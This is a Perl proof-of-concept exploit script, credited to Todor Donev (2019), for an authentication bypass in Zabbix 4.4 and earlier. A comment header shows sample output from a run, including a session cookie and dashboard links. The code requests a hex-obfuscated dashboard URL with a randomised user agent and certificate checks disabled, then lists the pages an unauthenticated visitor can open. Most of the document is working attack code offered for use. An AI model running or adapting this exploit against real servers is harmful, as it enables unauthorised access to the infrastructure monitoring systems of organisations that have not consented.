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#!/usr/bin/perl -w  
#  
# Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit  
#  
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>  
#  
# # [ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit  
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>  
# # [ Initializing the browser  
# # [ >>> Referer =>   
# # [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1  
# # [ >>> Content-Type => application/x-www-form-urlencoded  
# # [ <<< Cache-Control => no-store, no-cache, must-revalidate  
# # [ <<< Connection => close  
# # [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT  
# # [ <<< Pragma => no-cache  
# # [ <<< Server => nginx  
# # [ <<< Vary => Accept-Encoding  
# # [ <<< Content-Type => text/html; charset=UTF-8  
# # [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT  
# # [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT  
# # [ <<< Client-Peer =>   
# # [ <<< Client-Response-Num => 1  
# # [ <<< Client-SSL-Cert-Issuer =>   
# # [ <<< Client-SSL-Cert-Subject =>   
# # [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256  
# # [ <<< Client-SSL-Socket-Class => IO::Socket::SSL  
# # [ <<< Client-SSL-Warning => Peer certificate not verified  
# # [ <<< Client-Transfer-Encoding => chunked  
# # [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css"  
# # [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly  
# # [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload  
# # [ <<< Title => TARGET: Dashboard  
# # [ <<< X-Content-Type-Options => nosniff  
# # [ <<< X-Frame-Options => SAMEORIGIN  
# # [ <<< X-Meta-Author => Zabbix SIA  
# # [ <<< X-Meta-Charset => utf-8  
# # [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d  
# # [ <<< X-Meta-Msapplication-Config => none  
# # [ <<< X-Meta-Msapplication-TileColor => #d40000  
# # [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png  
# # [ <<< X-Meta-Viewport => width=device-width, initial-scale=1  
# # [ <<< X-UA-Compatible => IE=Edge  
# # [ <<< X-XSS-Protection => 1; mode=block  
# # [  
# # [ The target is vulnerable. Try to open these links:  
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view  
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1  
# # [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1  
# # [ https://TARGET/zabbix/overview.php?ddreset=1  
# # [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1  
# # [ https://TARGET/zabbix/latest.php?ddreset=1  
# # [ https://TARGET/zabbix/charts.php?ddreset=1  
# # [ https://TARGET/zabbix/screens.php?ddreset=1  
# # [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1  
# # [ https://TARGET/zabbix/srv_status.php?ddreset=1  
# # [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1  
# # [ https://TARGET/zabbix/hostinventories.php?ddreset=1  
# # [ https://TARGET/zabbix/report2.php?ddreset=1  
# # [ https://TARGET/zabbix/toptriggers.php?ddreset=1  
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.list  
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1  
#   
use strict;  
use HTTP::Request;  
use LWP::UserAgent;  
use WWW::UserAgent::Random;  
use HTML::TreeBuilder;  
my $host = shift || ''; # Full path url to the store  
$host =~ s|/$||;  
print "\033[2J"; #clear the screen  
print "\033[0;0H"; #jump to 0,0  
print "[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit\n";  
print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";  
print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);  
print "[ Initializing the browser\n";  
my $user_agent = rand_ua("browsers");  
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });  
$browser->timeout(30);  
$browser->agent($user_agent);  
my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31";  
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);   
my $response = $browser->request($request);  
print "[ >>> $_ => ", $request->header($_), "\n" for $request->header_field_names;  
print "[ <<< $_ => ", $response->header($_), "\n" for $response->header_field_names;  
print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401');  
print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403');  
if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){  
print "[\n[ The target is vulnerable. Try to open these links:\n";  
my $tree = HTML::TreeBuilder->new_from_content($response->as_string());  
my @files = $tree->look_down(_tag => 'a');  
for my $line (@files){  
next if ($line->attr('href') =~ m/javascript/);  
next if ($line->attr('href') =~ m/\#/);  
next if ($line->attr('href') =~ m/http/);  
print "[ ", $host."/zabbix/".$line->attr('href'), "\n";  
}  
} else {   
print "[ Exploit failed! The target isn't vulnerable\n";  
exit;  
}